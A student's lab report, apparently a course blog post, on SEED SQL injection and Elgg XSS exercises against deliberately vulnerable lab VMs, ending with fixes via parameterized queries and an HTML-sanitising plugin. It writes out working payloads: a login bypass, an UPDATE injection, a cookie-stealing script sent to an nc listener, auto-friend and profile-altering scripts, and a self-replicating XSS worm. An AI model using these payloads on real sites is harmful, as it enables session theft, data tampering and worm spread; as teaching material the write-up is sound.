20252910 2025-2026-2《网络攻防实践》第10次作业

20252910 2025-2026-2《网络攻防实践》第10次作业

1、实验内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2、实验过程

前期准备

虚拟机安装与部署

之前装过挺多了这里就不过多赘述了。

image-20260602082623322

VMware Tools 安装

在以下这个位置的下拉框下勾选安装 VMware Tools ,然后将文件移到home目录下。

image-20260602082940136

image-20260602082906583

打开终端,输入下面的命令,回到这个 Home 目录:

cd ~

现在直接执行解压命令:

tar -zxvf VMwareTools-10.3.23-16594550.tar.gz

解压后输入命令:

cd vmware-tools-distrib

执行安装:

sudo ./vmware-install.pl

安装成功

image-20260602084117961

如果自动适配没反应,我们可以直接用命令指定分辨率:

先查看当前支持的分辨率列表

xrandr

xrandr -s 1440x900

image-20260602085050402

主机名配置

将虚拟机主机名永久设置为lct,确保终端和系统标识统一

切换到root用户(密码:seedubuntu)
su -
临时生效主机名
hostname lct
验证主机名(终端提示符应显示为 seed@lct:~$)
hostname
永久修改主机名配置文件
echo "lct" > /etc/hostname
sudo nano /etc/hosts
把127.0.1.1       lct写进去
退出root并重新打开终端验证
exit

image-20260602090528995

image-20260602085709742

基础服务启动

启动Apache2 Web服务器
sudo service apache2 start
查看服务状态,确认显示 active (running)
sudo service apache2 status

image-20260602091148484

数据库连接

使用 root 用户登录 MySQL 数据库(默认密码 seedubuntu):

mysql -u root -pseedubuntu

image-20260602091311118

任务一:SEED SQL 注入攻击与防御实验

熟悉 SQL 语句

使用以下命令使用 root 登录 MySQL 数据库:

mysql -u root -pseedubuntu

使用以下命令查看 MySQL 中已有的数据库:

show databases;

image-20260602091938271

使用以下命令切换到 Users 数据库,并查看所有的数据表:

use Users;
show tables;

image-20260602092020251

执行基础查询语句:

-- 查询所有记录
select * from credential;

image-20260602092107173

-- 查询Alice的个人信息

select * from credential where Name='Alice';

image-20260602092158058

-- 查询ID小于等于3的员工信息
select * from credential where ID <=3;

image-20260602092228592

对 SELECT 语句的 SQL 注入攻击(登录绕过)

访问 Web 页面 http://www.seedlabsqlinjection.com/ ,右键 -> view page source 查看前端源码。

image-20260602092354403
image-20260602092518049

表单通过 GET 方法提交到 unsafe_home.php 进行验证。

查看并分析后端验证代码(/var/www/SQLInjection/unsafe_home.php):

vim /var/www/SQLInjection/unsafe_home.php

image-20260602093114357

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";

构造注入 Payload:在用户名输入框输入 Admin'#,密码留空。

image-20260602093013241

原理:单引号 ' 闭合 name 字段的字符串,# 注释掉后续的密码验证部分,使 SQL 语句变为:

SELECT * FROM credential WHERE name= 'Admin'#' and Password=''
点击登录,成功进入管理员页面,查看所有员工的薪资、SSN 等敏感信息,登录绕过成功。

步骤3:对 UPDATE 语句的 SQL 注入攻击(数据篡改)

以 Alice 身份登录系统(密码 seedalice),点击 "Edit Profile" 进入个人信息修改页面,发现仅能修改昵称、邮箱、地址等非敏感信息。

image-20260602093412717

image-20260602093501828

查看并分析后端更新代码(/var/www/SQLInjection/unsafe_edit_backend.php):

vim /var/www/SQLInjection/unsafe_edit_backend.php

image-20260602093633458

核心更新逻辑,SQL 语句如下:

$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";

构造注入 Payload:在 NickName 输入框输入:

',Salary='999999' where name='Admin';#

原理:闭合 nickname 字段的字符串,添加 Salary='999999' where name='Admin' 子句修改管理员薪资,最后用 # 注释后续内容。

image-20260602094129318

SQL 对抗(漏洞修复)

修复 SELECT 语句注入:编辑 unsafe_home.php,使用 prepare 和 bind_param 实现参数化查询:

gedit/var/www/SQLInjection/unsafe_home.php

将原 SQL 语句替换为:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$result = $sql->get_result();

image-20260602094941348

验证修复效果:再次使用 Admin'# 尝试登录,系统提示登录失败;尝试修改管理员薪资,操作无效,漏洞修复成功。

image-20260602094902696

修复 UPDATE 语句注入:编辑 unsafe_edit_backend.php,同理使用参数化查询:

gedit /var/www/SQLInjection/unsafe_edit_backend.php

将原 SQL 语句替换为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

任务二:SEED XSS 跨站脚本攻击实验

发布恶意消息,显示警报窗口

使用 Alice 账号(密码 seedalice)登录 Elgg 平台( http://www.xsslabelgg.com ),点击蓝色字体 Alice -> "Edit profile" 进入个人资料编辑页面。

image-20260602150035828

在 "Brief description" 输入框中输入恶意代码:

<script>alert('XSS lct');</script>

点击保存,页面自动刷新并弹出警告窗口 "XSS lct",验证存储型 XSS 漏洞存在。

image-20260602150210435

修改 "Brief description" 中的代码为:

<script>alert('lct Cookie:' + document.cookie);</script>

image-20260602150414879

窃取受害者的 Cookies

查看攻击者的ip地址

ifconfig

假设攻击者 IP 为 192.168.180.76。

构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 5555 端口:

<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

image-20260602151328213

在攻击者终端开启端口监听:

sudo nc -l 5555 -v

image-20260602151312389

使用 Boby(密码 seedboby)账号登录 Elgg,访问 Alice 的个人主页。

查看攻击者终端,成功接收到 Boby 的 Cookie 信息。

image-20260602151546506

成为受害者的朋友(自动操作)

1.在alice账户中选择“more”-“Members”,按F12查看网络流信息,选择boby添加为朋友,发现编号信息。

image-20260602152045903

删掉好友回到初始状态。根据上述信息构造payload,在alice账户的about me中填写,并保存。

以下代码是:只要别人访问你的个人主页,就会自动发送请求,把你加为他的好友(无需对方同意) 这是典型的 CSRF + XSS 组合攻击。

<script type="text/javascript">
// 页面加载完成后自动执行
window.onload = function () {
    var Ajax=null; // 创建AJAX对象
    // 从 elgg 安全机制中提取 防CSRF令牌(必须带,否则请求无效)
    var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token="&__elgg_token="+elgg.security.token.__elgg_token;
    // 构造加好友请求URL:
    var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=lct" + ts + token;
    Ajax = new XMLHttpRequest(); // 创建AJAX请求
    Ajax.open("GET", sendurl, true); // 发送GET请求
    Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(); // 发送请求 = 自动加好友
}
</script>

用boby访问Alice主页,登录alice的主页,发现boby成为好友。

image-20260602153700117

修改受害者的信息

编辑Alice主页,切换为HTML模式,输入以下代码,并保存退出

<script type="text/javascript">
window.onload = function(){
  var userName=elgg.session.user.name;
  var guid="&guid="+elgg.session.user.guid;
  var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
  var token="&__elgg_token="+elgg.security.token.__elgg_token;
  var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
  var aliceGuid=44;
  if(elgg.session.user.guid!=aliceGuid){
    var Ajax=null;
    Ajax=new XMLHttpRequest();
    Ajax.open("POST",sendurl,true);
    Ajax.setRequestHeader("Host","www.xsslabelgg.com");
    Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    Ajax.send(content);
  }
}
</script>

登录boby账号访问alice主页,再次查看boby主页发现被修改

image-20260602154344698

编写 XSS 蠕虫

在alice账户的about me中填写,并保存。
这是一段XSS蠕虫病毒代码,不仅会偷偷篡改个人资料,还会把自身代码复制到个人简介里,实现自我复制、无限传播,访问者打开页面就会中招。

<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机lct的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";

var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

image-20260602154801917

使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

image-20260602154847366

对抗 XSS 攻击

使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

image-20260602154936414

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。

验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效

image-20260602155058924

3、实验中遇到的问题

第一个问题:就是一开始没有办法进行复制,网上搜了教程,下载了对应的VMware Tools。

第二个问题:在配置主机名的时候出现映射问题。网上搜了一下进行了修改。

image-20260602155455497

第三个问题在编辑about me的,不是在edit html下导致没有效果。

第四个问题就是这个seedubuntu虽然装了VMware Tools但是分辨率还是有问题,所以用命令手动调整了分辨率。

4、学习感悟与思考

本次SEED实验完成SQL注入与XSS两大漏洞实操。在SQL注入实验中,借助单引号闭合、注释截断实现登录绕过与UPDATE篡改数据,知晓字符串拼接SQL是漏洞根源,参数化预处理是有效防御手段。Elgg的XSS实验由弹窗、窃取Cookie进阶至自动加好友、篡改用户信息,最终编写蠕虫实现批量传染,理解未过滤用户输入会造成恶意JS执行。经过攻防实操,我明白了所有外部输入均不可信,树立安全编码意识,掌握了预编译、输出转义、HttpOnly等防护方法,切实提升了漏洞排查与安全开发能力。

posted @ 2026-06-02 16:28  lLct  阅读(29)  评论(0)    收藏  举报